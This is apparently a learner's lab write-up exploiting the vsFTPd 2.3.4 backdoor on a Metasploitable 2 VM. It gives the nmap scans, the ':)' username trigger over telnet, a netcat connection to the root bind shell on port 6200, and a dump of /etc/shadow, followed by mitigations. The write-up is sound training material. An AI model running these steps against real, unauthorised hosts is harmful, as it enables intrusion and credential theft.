Metasploitable 2 - vsFTPd 2.3.4 Exploitation Lab

Overview

This project demonstrates a penetration testing workflow against a deliberately vulnerable machine, Metasploitable 2. The objective was to identify, exploit, and analyze a known vulnerability in the FTP service, ultimately achieving root-level access and assessing the security impact.

Lab Setup

• Attacker Machine: Ubuntu (Virtual Machine)
• Target Machine: Metasploitable 2 (Virtual Machine)
• Network Configuration: Host-only network (192.168.56.0/24)

Target Verification

Verified the target system and its network configuration:

whoami
hostname
ifconfig

Connectivity Check

Confirmed network connectivity between attacker and target:

ping 192.168.56.101

Objectives

• Perform network reconnaissance
• Identify exposed services
• Detect vulnerable software
• Exploit a known backdoor vulnerability
• Achieve root access
• Conduct post-exploitation analysis

Tools Used

• Nmap
• Telnet
• Netcat
• Linux (Ubuntu VM)

Attack Flow Summary

1. Verified target configuration and connectivity
2. Discovered target host on the local network
3. Identified open ports and exposed services
4. Detected vulnerable FTP service (vsFTPd 2.3.4)
5. Triggered backdoor via crafted FTP login
6. Gained root access through bind shell
7. Performed post-exploitation enumeration

Reconnaissance

Performed host discovery:

nmap -sn 192.168.56.0/24

Identified active hosts on the network.

Port Scanning

nmap 192.168.56.101

Discovered multiple open ports, including:

• 21 (FTP)
• 22 (SSH)
• 23 (Telnet)
• 80 (HTTP)
• 445 (SMB)

Service Enumeration

nmap -sV 192.168.56.101

Identified the FTP service running:

vsFTPd 2.3.4

A full service and script-based scan is included in the supporting files: Nmap Scan Output.

Vulnerability Identification

The FTP service was running a known vulnerable version:

vsFTPd 2.3.4

This version of vsFTPd was distributed with a malicious backdoor that is triggered when a username containing :) is used during authentication. Upon activation, the service opens a bind shell on port 6200, allowing unauthorized remote access.

Exploitation (Manual)

Triggered the backdoor using Telnet:

telnet 192.168.56.101 21

USER test:)
PASS test

Shell Access

Connected to the backdoor using Netcat:

nc 192.168.56.101 6200

Result

whoami

root

Root access successfully obtained

Post-Exploitation

After obtaining root access, basic system enumeration was performed:

cat /etc/passwd
cat /etc/shadow

• Enumerated system users and service accounts
• Retrieved hashed credentials from /etc/shadow
• Demonstrated access to sensitive system files

Impact

• Full system compromise (root-level access)
• Ability to execute arbitrary commands
• Exposure of sensitive credential data
• Potential for lateral movement within a network

Mitigation

• Remove or disable FTP service if not required
• Update vulnerable software to secure versions
• Replace insecure protocols (like unencrypted FTP) with secure alternatives (SFTP)
• Restrict access to critical services via firewall rules
• Implement logging and monitoring
• Enforce strong authentication policies

Supporting Files

• Nmap Scan Output

Key Takeaway

This lab demonstrates how a single vulnerable service can lead to full system compromise. It highlights the importance of proper service configuration, patch management, and minimizing exposed attack surfaces.

What I Learned

This was my first time manually exploiting a real-world backdoor. I learned how a single malicious username string (:)) can trigger root-level access, which reinforced why service enumeration and version detection matter so much in reconnaissance. I also got more comfortable with basic Linux post-exploitation commands, like reading /etc/shadow and understanding what hashed credentials actually look like.

Limitations

This was a controlled lab environment using Metasploitable 2, an intentionally vulnerable machine. The vsFTPd 2.3.4 backdoor is a known CVE (CVE-2011-2523) from 2011, so this does not reflect a modern real-world engagement. In a real assessment, additional steps like evasion, logging bypass, or pivoting would be needed. This project focused on understanding the core exploit mechanics, not a complete penetration test.